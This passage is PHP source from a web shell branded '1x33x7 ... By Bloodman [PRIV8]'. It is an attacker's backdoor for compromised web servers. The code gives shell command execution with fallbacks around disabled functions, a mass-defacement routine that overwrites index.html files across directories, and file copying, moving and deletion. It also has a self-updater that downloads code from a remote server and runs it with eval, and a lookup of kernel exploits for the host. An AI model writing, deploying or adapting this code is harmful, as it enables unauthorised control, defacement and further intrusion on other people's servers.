2772function set_arg(txt1,txt2) {
2773 document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
2774 document.forms.fphpfsys.arg1.value = txt1;
2775 document.forms.fphpfsys.arg2.value = txt2;
2776}
2777function chg_arg(num,txt1,txt2) {
2778 if (num==0) {
2779 document.forms.fphpfsys.arg1.type = "hidden";
2780 document.forms.fphpfsys.A1.type = "hidden";
2781 }
2782 if (num<=1) {
2783 document.forms.fphpfsys.arg2.type = "hidden";
2784 document.forms.fphpfsys.A2.type = "hidden";
2785 }
2786 if (num==2) {
2787 document.forms.fphpfsys.A1.type = "label";
2788 document.forms.fphpfsys.A2.type = "label";
2789 document.forms.fphpfsys.arg1.type = "text";
2790 document.forms.fphpfsys.arg2.type = "text";
2791 }
2792 document.forms.fphpfsys.A1.value = txt1 + ":";
2793 document.forms.fphpfsys.A2.value = txt2 + ":";
2794}
2795</script>
2796<?php
2797 echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
2798 "<select name=\"phpfsysfunc\">\r\n";
2799 foreach ($phpfsaliases as $als) {
2800 if ($als[1]==$phpfsysfunc) {
2801 echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2802 }
2803 else {
2804 echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2805 }
2806 }
2807 echo "</select>\r\n".
2808 "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
2809 "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
2810 "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
2811 foreach ($sh_sourcez as $e => $o) {
2812 echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
2813 }
2814 echo "</form>\r\n";
2815?>
2816</td></tr>
2817<tr><td align=right>Search File:</td>
2818<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2819 <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
2820 </form>
2821 </td></tr>
2822<tr><td align=right>Create File:</td>
2823<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
2824 <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
2825 </form></td></tr>
2826<tr><td align=right>View File:</td>
2827<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2828 <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
2829 </form></td></tr>
2830<?
2831$self=basename($_SERVER['PHP_SELF']);
2832if(isset($_POST['execmassdeface']))
2833{
2834echo "<center><textarea rows='10' cols='100'>";
2835$hackfile = $_POST['massdefaceurl'];
2836$dir = $_POST['massdefacedir'];
2837echo $dir."\n";
2838
2839if (is_dir($dir)) {
2840 if ($dh = opendir($dir)) {
2841 while (($file = readdir($dh)) !== false) {
2842 if(filetype($dir.$file)=="dir"){
2843 $newfile=$dir.$file."/index.html";
2844 echo $newfile."\n";
2845 if (!copy($hackfile, $newfile)) {
2846 echo "failed to copy $file...\n";
2847 }
2848 }
2849 }
2850 closedir($dh);
2851 }
2852}
2853echo "</textarea></center>";} ?>
2854
2855
2856<tr><td align=right>Mass Defacement:</td>
2857<td><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo $dispd; ?>' name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'><input type='submit' name='execmassdeface' value='Execute'></form></td>
2858
2859
2860</table>
2861<?php footer(); ?>
2862</body></html>
2863<?php
2864
2865
2866function safemode() {
2867 if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
2868 else { return FALSE; }
2869}
2870function getdisfunc() {
2871 $disfunc = @ini_get("disable_functions");
2872 if (!empty($disfunc)) {
2873 $disfunc = str_replace(" ","",$disfunc);
2874 $disfunc = explode(",",$disfunc);
2875 }
2876 else { $disfunc= array(); }
2877 return $disfunc;
2878}
2879function enabled($func) {
2880 if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
2881 else { return FALSE; }
2882}
2883function tpexec($cmd) {
2884 $output = "";
2885 if ( enabled("popen") ) {
2886 $h = popen($cmd.' 2>&1', 'r');
2887 if ( is_resource($h) ) {
2888 while ( !feof($h) ) { $output .= fread($h, 2096); }
2889 pclose($h);
2890 }
2891 }
2892 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2893 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2894 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2895 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2896 return $output;
2897}
2898function tpexec2($cmd) {
2899 $output = "";
2900 if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2901 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2902 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2903 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2904 elseif ( enabled("popen") ) {
2905 $h = popen($cmd.' 2>&1', 'r');
2906 if ( is_resource($h) ) {
2907 while ( !feof($h) ) { $output .= fread($h, 2096); }
2908 pclose($h);
2909 }
2910 }
2911 return $output;
2912}
2913function which($pr) {
2914 $path = tpexec("which $pr");
2915 if(!empty($path)) { return $path; } else { return $pr; }
2916}
2917
2918function get_status() {
2919 function showstat($sup,$stat) {
2920 if ($stat=="on") { return "$sup: <font color=orange><b>ON</b></font>"; }
2921 else { return "$sup: <font color=orange><b>OFF</b></font>"; }
2922 }
2923 $arrfunc = array(
2924 array("MySQL","mysql_connect"),
2925 array("MSSQL","mssql_connect"),
2926 array("Oracle","ocilogon"),
2927 array("PostgreSQL","pg_connect"),
2928 array("Curl","curl_version"),
2929 );
2930 $arrcmd = array(
2931 array("Fetch","fetch --help"),
2932 array("Wget","wget --help"),
2933 array("Perl","perl -v"),
2934 );
2935
2936 $statinfo = array();
2937 foreach ($arrfunc as $func) {
2938 if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
2939 else { $statinfo[] = showstat($func[0],"off"); }
2940 }
2941 $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
2942 foreach ($arrcmd as $cmd) {
2943 if (tpexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
2944 else { $statinfo[] = showstat($cmd[0],"off"); }
2945 }
2946 return implode(" ",$statinfo);
2947}
2948function showdisfunc() {
2949 if ($disablefunc = @ini_get("disable_functions")) {
2950 return "<font color=orange><b>".$disablefunc."</b></font>";
2951 }
2952 else { return "<font color=orange><b>NONE</b></b></font>"; }
2953}
2954function disp_drives($curdir,$surl) {
2955 $letters = "";
2956 $v = explode("\\",$curdir);
2957 $v = $v[0];
2958 foreach (range("A","Z") as $letter) {
2959 $bool = $isdiskette = $letter == "A";
2960 if (!$bool) { $bool = is_dir($letter.":\\"); }
2961 if ($bool) {
2962 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
2963 ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
2964 if ($letter.":" != $v) { $letters .= $letter; }
2965 else { $letters .= "<font color=orange>".$letter."</font>"; }
2966 $letters .= "</a> ";
2967 }
2968 }
2969 if (!empty($letters)) { Return $letters; }
2970 else {Return "None"; }
2971}
2972function disp_freespace($curdrv) {
2973 $free = @disk_free_space($curdrv);
2974 $total = @disk_total_space($curdrv);
2975 if ($free === FALSE) { $free = 0; }
2976 if ($total === FALSE) { $total = 0; }
2977 if ($free < 0) { $free = 0; }
2978 if ($total < 0) { $total = 0; }
2979 $used = $total-$free;
2980 $free_percent = round(100/($total/$free),2)."%";
2981 $free = view_size($free);
2982 $total = view_size($total);
2983 return "$free of $total ($free_percent)";
2984}
2985
2986function tpgetsource($fn) {
2987 global $tpsh_sourcesurl;
2988 $array = array(
2989 "tpsh.php" => "tpsh.txt",
2990 );
2991 $name = $array[$fn];
2992 if ($name) {return file_get_contents($tpsh_sourcesurl.$name);}
2993 else {return FALSE;}
2994}
2995function tpsh_getupdate($update = TRUE) {
2996 $url = $GLOBALS["tpsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
2997 $data = @file_get_contents($url);
2998 if (!$data) { return "Can't connect to update-server!"; }
2999 else {
3000 $data = ltrim($data);
3001 $string = substr($data,3,ord($data{2}));
3002 if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
3003 if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
3004 if ($data{0} == "\x99" and $data{1} == "\x03") {
3005 $string = explode("|",$string);
3006 if ($update) {
3007 $confvars = array();
3008 $sourceurl = $string[0];
3009 $source = file_get_contents($sourceurl);
3010 if (!$source) {return "Can't fetch update!";}
3011 else {
3012 $fp = fopen(__FILE__,"w");
3013 if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download tpshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
3014 else {
3015 fwrite($fp,$source);
3016 fclose($fp);
3017 return "Update completed!";
3018 }
3019 }
3020 }
3021 else {return "New version are available: ".$string[1];}
3022 }
3023 elseif ($data{0} == "\x99" and $data{1} == "\x04") {
3024 eval($string);
3025 return 1;
3026 }
3027 else {return "Error in protocol: segmentation failed! (".$data.") ";}
3028 }
3029}
3030function tp_buff_prepare() {
3031 global $sess_data;
3032 global $act;
3033 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
3034 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
3035 $sess_data["copy"] = array_unique($sess_data["copy"]);
3036 $sess_data["cut"] = array_unique($sess_data["cut"]);
3037 sort($sess_data["copy"]);
3038 sort($sess_data["cut"]);
3039 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
3040 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
3041}
3042function tp_sess_put($data) {
3043 global $sess_cookie;
3044 global $sess_data;
3045 tp_buff_prepare();
3046 $sess_data = $data;
3047 $data = serialize($data);
3048 setcookie($sess_cookie,$data);
3049}
3050
3051
3052function fs_copy_dir($d,$t) {
3053 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3054 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3055 $h = opendir($d);
3056 while (($o = readdir($h)) !== FALSE) {
3057 if (($o != ".") and ($o != "..")) {
3058 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
3059 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
3060 if (!$ret) {return $ret;}
3061 }
3062 }
3063 closedir($h);
3064 return TRUE;
3065}
3066function fs_copy_obj($d,$t) {
3067 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3068 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
3069 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
3070 if (is_dir($d)) {
3071 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3072 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
3073 return fs_copy_dir($d,$t);
3074 }
3075 elseif (is_file($d)) { return copy($d,$t); }
3076 else { return FALSE; }
3077}
3078function fs_move_dir($d,$t) {
3079 $h = opendir($d);
3080 if (!is_dir($t)) {mkdir($t);}
3081 while (($o = readdir($h)) !== FALSE) {
3082 if (($o != ".") and ($o != "..")) {
3083 $ret = TRUE;
3084 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
3085 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
3086 if (!$ret) {return $ret;}
3087 }
3088 }
3089 closedir($h);
3090 return TRUE;
3091}
3092function fs_move_obj($d,$t) {
3093 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
3094 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
3095 if (is_dir($d)) {
3096 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3097 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
3098 return fs_move_dir($d,$t);
3099 }
3100 elseif (is_file($d)) {
3101 if(copy($d,$t)) {return unlink($d);}
3102 else {unlink($t); return FALSE;}
3103 }
3104 else {return FALSE;}
3105}
3106function fs_rmdir($d) {
3107 $h = opendir($d);
3108 while (($o = readdir($h)) !== FALSE) {
3109 if (($o != ".") and ($o != "..")) {
3110 if (!is_dir($d.$o)) {unlink($d.$o);}
3111 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
3112 }
3113 }
3114 closedir($h);
3115 rmdir($d);
3116 return !is_dir($d);
3117}
3118function fs_rmobj($o) {
3119 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
3120 if (is_dir($o)) {
3121 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
3122 return fs_rmdir($o);
3123 }
3124 elseif (is_file($o)) {return unlink($o);}
3125 else {return FALSE;}
3126}
3127
3128function onphpshutdown() {
3129 global $gzipencode,$ft;
3130 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
3131 $v = @ob_get_contents();
3132 @ob_end_clean();
3133 @ob_start("ob_gzHandler");
3134 echo $v;
3135 @ob_end_flush();
3136 }
3137}
3138function tpshexit() { onphpshutdown(); exit; }
3139
3140function tpfsearch($d) {
3141 global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
3142 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
3143 $h = opendir($d);
3144 while (($f = readdir($h)) !== FALSE) {
3145 if($f != "." && $f != "..") {
3146 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
3147 if (is_dir($d.$f)) {
3148 $search_i_d++;
3149 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
3150 if (!is_link($d.$f)) {tpfsearch($d.$f);}
3151 }
3152 else {
3153 $search_i_f++;
3154 if ($bool) {
3155 if (!empty($a["text"])) {
3156 $r = @file_get_contents($d.$f);
3157 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
3158 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
3159 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
3160 else {$bool = strpos(" ".$r,$a["text"],1);}
3161 if ($a["text_not"]) {$bool = !$bool;}
3162 if ($bool) {$found[] = $d.$f; $found_f++;}
3163 }
3164 else {$found[] = $d.$f; $found_f++;}
3165 }
3166 }
3167 }
3168 }
3169 closedir($h);
3170}
3171function view_size($size) {
3172 if (!is_numeric($size)) { return FALSE; }
3173 else {
3174 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
3175 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
3176 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
3177 else {$size = $size . " B";}
3178 return $size;
3179 }
3180}
3181function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
3182function view_perms($mode) {
3183 if (($mode & 0xC000) === 0xC000) {$type = "s";}
3184 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
3185 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
3186 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
3187 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
3188 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
3189 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
3190 else {$type = "?";}
3191 $owner["read"] = ($mode & 00400)?"r":"-";
3192 $owner["write"] = ($mode & 00200)?"w":"-";
3193 $owner["execute"] = ($mode & 00100)?"x":"-";
3194 $group["read"] = ($mode & 00040)?"r":"-";
3195 $group["write"] = ($mode & 00020)?"w":"-";
3196 $group["execute"] = ($mode & 00010)?"x":"-";
3197 $world["read"] = ($mode & 00004)?"r":"-";
3198 $world["write"] = ($mode & 00002)? "w":"-";
3199 $world["execute"] = ($mode & 00001)?"x":"-";
3200 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
3201 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
3202 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
3203 return $type.join("",$owner).join("",$group).join("",$world);
3204}
3205function parse_perms($mode) {
3206 if (($mode & 0xC000) === 0xC000) {$t = "s";}
3207 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
3208 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
3209 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
3210 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
3211 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
3212 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
3213 else {$t = "?";}
3214 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
3215 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
3216 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
3217 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
3218}
3219function parsesort($sort) {
3220 $one = intval($sort);
3221 $second = substr($sort,-1);
3222 if ($second != "d") {$second = "a";}
3223 return array($one,$second);
3224}
3225function view_perms_color($o) {
3226 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
3227 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
3228 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
3229}
3230function str2mini($content,$len) {
3231 if (strlen($content) > $len) {
3232 $len = ceil($len/2) - 2;
3233 return substr($content, 0,$len)."...".substr($content,-$len);
3234 } else {return $content;}
3235}
3236function strips(&$arr,$k="") {
3237 if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
3238 else { $arr = stripslashes($arr); }
3239}
3240
3241function getmicrotime() {
3242 list($usec, $sec) = explode(" ", microtime());
3243 return ((float)$usec + (float)$sec);
3244}
3245
3246function milw0rm() {
3247 $Lversion = php_uname(r);
3248 $OSV = php_uname(s);
3249 if(eregi("Linux",$OSV)) {
3250 $Lversion = substr($Lversion,0,6);
3251 return "http://packetstormsecurity.org/search/?q=Linux Kernel ".$Lversion;
3252 } else {
3253 $Lversion = substr($Lversion,0,3);
3254 return "http://packetstormsecurity.org/search/?q=".$OSV." ".$Lversion;
3255 }
3256}
3257
3258
3259function sh_name() { return base64_decode("WzF4MzN4N19hS2EuX0xlR2VOZFpfbkV2RXJfRGlFX0J1aWxkX1YyX0J5X0Jsb29kbWFuXS1bUFJJVjhd"); }
3260function htmlhead($safemode) {
3261$style = '
3262<style type="text/css">
3263body,table {font:8pt verdana;background-color:black;}
3264table {width:100%;}
3265table,td,#maininfo td {padding:3px;}
3266table,td,input,select,option {border:1px solid #808080;}
3267body,table,input,select,option {color:#FFFFFF;}
3268a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
3269textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
3270#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
3271#pagebar td {vertical-align:top;}
3272#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
3273#pagebar a {font-weight:bold;color:orange;}
3274#pagebar a:visited {color:#000000;}
3275#mainmenu {text-align:center;}
3276#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
3277#maininfo,.barheader,.bartitle {text-align:center;}
3278.fleft {float:left;text-align:left;}
3279.fright {float:right;text-align:right;}
3280.bartitle {padding:5px;border:2px solid #000000;}
3281.barheader {font-weight:bold;padding:5px;}
3282.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
3283.info th {color:orange;text-align:left;width:13%;}
3284.contents,.explorer {border-collapse:collapse;}
3285.contents,.explorer td,th {vertical-align:top;}
3286.mainpanel {border-collapse:collapse;padding:5px;}
3287.barheader,.mainpanel table,td {border:1px solid #333333;}
3288input[type="submit"],input[type="button"] {border:1px solid #000000;}
3289input[type="text"] {padding:3px;}
3290.shell {background-color:#000000;color:orange;padding:5px;font-size:12;}
3291.fxerrmsg {color:red; font-weight:bold;}
3292#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
3293#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#000000;}
3294.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
3295textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
3296input[type="label"] { text-align:right;}
3297.info,.info td,input[type="label"] {border:0;background:none;}
3298</style>
3299';
3300$html_start = '
3301<html><head>
3302<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
3303'.$style.'
3304</head>
3305<body>
3306<center><img src="http://www.1x33x7.info/images/qss19g.png" alt="ShellBanner"></center>
3307';
3308return $html_start;
3309};
3310function footer() {
3311 echo "<div class=bartitle colspan=2><font size=2 color=#00FF00><b> [1x33x7_aKa._LeGeNdZ_nEvEr_DiE_Build_V2_By_Bloodman]-[PRIV8] -; Generated: ".round(getmicrotime()-starttime,4)." seconds</b></font></div>";
3312}
3313chdir($lastdir); tpshexit();
3314?>